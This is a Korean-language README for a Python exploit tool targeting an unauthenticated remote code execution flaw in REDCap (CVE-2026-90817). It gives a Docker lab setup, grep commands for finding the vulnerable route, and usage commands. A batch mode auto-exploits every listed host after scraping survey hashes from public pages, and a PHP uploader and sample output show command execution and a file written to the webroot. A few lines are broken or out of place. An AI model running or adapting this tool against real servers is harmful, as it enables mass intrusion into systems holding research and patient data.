
CVE-2026-90817에 대한 Python PoC로, survey passthrough 라우팅과 파일 경로 주입을 통한 인증되지 않은 REDCap RCE이며, Docker 랩과 allowlist로 보호된 대상들을 포함합니다.
| 필드 | 값 |
|---|
| CVE | CVE-2026-90817 |
| 제품 | Vanderbilt University REDCap |
| CVSS | 9.8 Critical |
| 인증 | 인증되지 않음 (유효한 공개 설문 해시 필요) |
| 영향받는 버전 | REDCap 13.3.0 이상 |
| 수정된 버전 | 16.0.49 LTS, 17.3.10 LTS, 17.4.4 Standard Release |
| CWE | CWE-73 (파일 이름 또는 경로의 외부 제어), CWE-94 (코드 주입) |
공격 체인:
CVE-2026-90817/
├── poc_cve_2026_90817.py # PoC (단일 대상, 허용 목록 보호)
├── docker-compose.yml # MySQL + PHP-Apache 랩 스택
├── redcap-init/
│ ├── database.php # 랩용 REDCap DB 구성
│ └── php.ini # 랩용 PHP 설정
├── redcap-src/ # <-- 여기에 REDCap 소스를 추출하세요 (직접 제공)
├── targets.txt # 허가된 대상: 한 줄에 하나의 호스트
├── payload.txt # 업로드 모드용 샘플 파일
├── requirements.txt # Python 종속성
└── poc_results.txt # PoC 실행 후 생성됨
REDCap은 라이선스 소프트웨어입니다. 자체 랩을 위해 공식 채널을 통해 획득해야 합니다.
mkdir -p redcap-src
# redcap.zip 내용을 redcap-src/에 추출하세요
# 디렉터리에는 index.php, redcap_vX.X.X/ 등이 포함되어야 합니다.
docker compose up -d
MySQL 상태 검사가 통과될 때까지 기다린 후 다음을 엽니다:
http://localhost:8080
다음 데이터베이스 설정을 사용하여 REDCap 설치 마법사를 완료합니다 (redcap-init/database.php에 미리 구성됨):
| 설정 | 값 |
|---|---|
| 호스트 | db |
| 데이터베이스 | redcap |
| 사용자 | redcap |
| 비밀번호 | redcap123 |
s=).설문 URL 예시:
http://localhost:8080/surveys/?s=ABC123XYZ
설문 해시: ABC123XYZ
공개 권고문은 정확한 컨트롤러 경로나 매개변수 이름을 공개하지 않습니다. 랩을 설정한 후 redcap-src/에 대한 RE를 수행하고 poc_cve_2026_90817.py의 TODO 상수를 채우세요:
VULNERABLE_ROUTE = "TODO_CONTROLLER_ROUTE" # 설문 패스스루를 통한 컨트롤러 경로
FILE_PATH_PARAM = "TODO_FILE_PATH_PARAM" # 파일 경로/스트림 매개변수 이름
WEBROOT_PATH = "/var/www/html/redcap/" # 컨테이너 내부의 웹루트
UPLOADER_NAME = "x.php" # PHP 업로더 파일 이름
설문 패스스루 라우팅 검색:
grep -rn "passthrough\|survey.*route\|Routes::" redcap-src/ --include="*.php" | head -50
grep -rn "Controller" redcap-src/ --include="*.php" | grep -i "import\|survey" | head -50
데이터 가져오기 파일 경로/스트림 처리 검색:
grep -rn "file_path\|file-path\|stream\|DataImport\|data_import" redcap-src/ --include="*.php" | head -50
grep -rn "fopen\|file_get_contents\|include\|require" redcap-src/ --include="*.php" | grep -i "import" | head -50
STAGE1_SUCCESS_MARKER를 성공적인 1단계 응답에 존재하는 문자열로 설정합니다 (선택 사항이지만 권장됨).
pip install -r requirements.txt
스크립트는 랩 호스트(localhost, 127.0.0.1, ::1, *.local, *.test, *.localhost)도 아니고 targets.txt에 나열되지도 않은 대상을 거부합니다.
CVE-2026-90817은 인증되지 않음 — 로그인이 필요하지 않습니다. 유일한 사전 조건은 유효한 공개 설문 해시입니다 (설문 URL ?s=HASH에서).
도구는 대상의 공개 페이지를 스크래핑하여 설문 해시를 자동 검색할 수 있습니다 (최선 노력). 일반적인 REDCap 엔드포인트(/, /redcap/, /index.php, /surveys/)에서 /surveys/?s=HASH 링크를 확인합니다. 이는 대상이 설문 링크를 공개적으로 노출하는 경우(잘못 구성된 경우)에만 작동합니다. 제대로 구성된 REDCap 인스턴스의 경우 --hash를 통해 수동으로 해시를 제공하세요.
--hash는 선택 사항입니다 (생략 시 자동 검색)비랩 대상의 경우 한 줄에 하나의 호스트(FQDN 또는 IP)로 targets.txt를 생성합니다. 나열된 모든 호스트에 대한 법적 허가에 대한 책임은 귀하에게 있습니다.
# targets.txt
redcap.client.example.com
10.0.0.5
192.168.1.100
명시적 해시를 사용한 랩 대상:
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--hash ABC123XYZ \
--mode both \
--out poc_results.txt
자동 검색된 해시를 사용한 랩 대상:
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--mode both \
--out poc_results.txt
--batch를 추가하면 targets.txt에 나열된 모든 호스트를 자동으로 익스플로잇합니다. 도구는 공개 페이지를 스크래핑하여 대상별로 설문 해시를 자동 검색합니다. 도구는 모든 대상을 출력하고 시작 전에 확인을 요청합니다 (스크립팅을 위해 프롬프트를 건너뛰려면 --yes 사용).
python poc_cve_2026_90817.py \
--batch \
--mode both \
--out poc_results.txt
포트는 --target에서 상속됩니다 (기본값 8080). 다른 포트를 사용하려면 --batch 앞에 --target http://placeholder:443/을 설정하세요.
각 대상의 결과는 출력 파일에 추가됩니다. 마지막에 요약이 출력됩니다: N success, M failed, T total.
| 인수 | 기본값 | 설명 |
|---|---|---|
--target | http://localhost:8080 | 대상 기본 URL |
--hash | (선택 사항) | 공개 설문 해시. 생략 시 공개 페이지 스크래핑으로 자동 검색 (최선 노력). |
--allowlist | targets.txt | 대상 파일, 한 줄에 하나의 호스트 |
--batch | 꺼짐 | 대상 파일의 모든 호스트를 반복하고 각각을 익스플로잇 |
--yes | 꺼짐 | 배치 확인 프롬프트 건너뛰기 |
--mode | both | id, upload 또는 both |
--out | poc_results.txt | 결과 로그 파일 |
--timeout | 30 | HTTP 타임아웃 (초) |
--upload-local | payload.txt | 업로드할 로컬 파일 |
--upload-remote | uploaded_payload.txt | 웹루트 아래의 원격 파일 이름 |
--skip-placeholder-check | 꺼짐 | TODO 상수가 채워지지 않은 상태에서 HTTP 흐름 드라이런 |
참고: 자동 검색은 설문 링크를 공개적으로 노출하는 대상에서만 작동합니다. 대부분의 REDCap 인스턴스의 경우 --hash를 수동으로 제공하세요.
성공 시 stdout은 다음을 표시합니다:
[0xNuts] CVE-2026-90817 PoC -- AUTHORIZED USE ONLY
[0xNuts] You are responsible for legal authorization of every target.
[0xNuts] Using survey hash: ABC123XYZ
[0xNuts] Stage 1: route manipulation -> ...
[0xNuts] Stage 2: file-path injection -> ...
[0xNuts] id output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[0xNuts] uploaded to /var/www/html/redcap/uploaded_payload.txt
[0xNuts] Result logged to poc_results.txt
결과는 poc_results.txt에 추가됩니다:
[2026-09-21T03:20:00Z]
target=http://localhost:8080/
survey_hash=ABC123XYZ
status=success
id_output=uid=33(www-data) gid=33(www-data) groups=33(www-data)
uploaded_files=/var/www/html/redcap/uploaded_payload.txt
notes=mode=both
------------------------------------------------------------
REDCap 16.0.49 LTS, 17.3.10 LTS 또는 17.4.4 Standard Release로 업그레이드하세요 (해당하는 경우).
추가 강화: